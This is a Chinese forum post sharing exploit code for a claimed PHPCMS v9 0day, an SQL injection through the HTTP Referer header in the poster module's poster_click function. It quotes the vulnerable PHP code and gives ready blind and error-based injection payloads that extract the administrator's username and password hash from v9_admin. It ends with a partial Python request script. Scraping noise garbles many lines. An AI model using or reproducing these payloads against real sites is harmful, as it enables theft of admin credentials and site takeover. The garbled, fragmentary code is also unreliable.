标题: phpcms post_click注入0day利用代码
有人放出了phpcmsv9的0day,就随时写了个利用代码,其中注入代码有两种形式:

$ k1 F* H% l& }4 j* k3 ?) u问题函数\phpcms\modules\poster\index.php

; }6 P3 V: A* I* ?public function poster_click() {
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
$r = $this->db->get_one(array('id'=>$id));
8 e! V0 d  H( n3 lif (!is_array($r) && empty($r)) return false;
6 G9 z5 _) g5 F% t& }) {6 w: a$ ?3 _$ip_area = pc_base::load_sys_class('ip_area');
$ip = ip();
$area = $ip_area->get($ip);
$username = param::get_cookie('username') ? param::get_cookie('username') : '';
if($id) {
$siteid = isset($_GET['siteid']) ? intval($_GET['siteid']) : get_siteid();
$this->s_db->insert(array('siteid'=>$siteid, 'pid'=>$id, 'username'=>$username, 'area'=>$area, 'ip'=>$ip, 'referer'=>HTTP_REFERER, 'clicktime'=>SYS_TIME, 'type'=> 1));
$ M1 T7 i: _( f* c, k3 t* ^}
0 u3 R$ d% I5 j' ?9 ~" J$this->db->update(array('clicks'=>'+=1'), array('id'=>$id));
- V1 X& {, L/ A, }+ F. d, ^$setting = string2array($r['setting']);
if (count($setting)==1) {
$url = $setting['1']['linkurl'];
2 J" p1 z4 Q! v+ F} else {
$ J/ S7 p$ @- E' a$url = isset($_GET['url']) ? $_GET['url'] : $setting['1']['linkurl'];
8 a2 v4 V6 P- B- m! T4 J4 g/ F}
) r1 L& }: i6 Y6 ?header('Location: '.$url);
}

& E+ v; Q, B1 S* G# O+ D
% v( ^: x/ j+ z1 l: G& u2 B% k
, B& X; h1 n9 U1 W利用方式：

1、可以采用盲注入的手法：

9 q. v' ]. h/ {& S8 a& _/ hreferer:1′,(select password from v9_admin where userid=1 substr(password,4)=’xxoo’),’1′)#

% {1 c9 R1 y/ l( C通过返回页面，正常与否一个个猜解密码字段。

# Z/ I/ x2 @) Q& L. p2、代码是花开写的，随手附上了：
8 I- T+ K: c) `3 ^1 O
6 H$ F5 _" u% v; O4 U) O8 B1′,(SELECT 1 FROM (select count(*),concat(floor(rand(0)*2),(SELECT concat(username,0x5f,password,0x5f,encrypt) FROM v9_admin WHERE 1 ))a from information_schema.tables group by a)b),’1′)#

, S6 D6 _: D% k9 z" e4 d& T此方法是爆错注入手法，原理自查。


2 w7 m% T$ E$ o0 w7 W! z/ i
8 g$ Z- H2 x" N0 _2 T利用程序:

conn = httplib.HTTPConnection(url)

+ f8 n  |: u, P+ X% M+ r& Sconn.request(“GET”, paths+”/index.php?m=poster&c=index&a=poster_click&sitespaceid=1&id=2″, headers = i_headers)

6 G0 T  h* N% S/ B6 _9 Rprint datas[0]
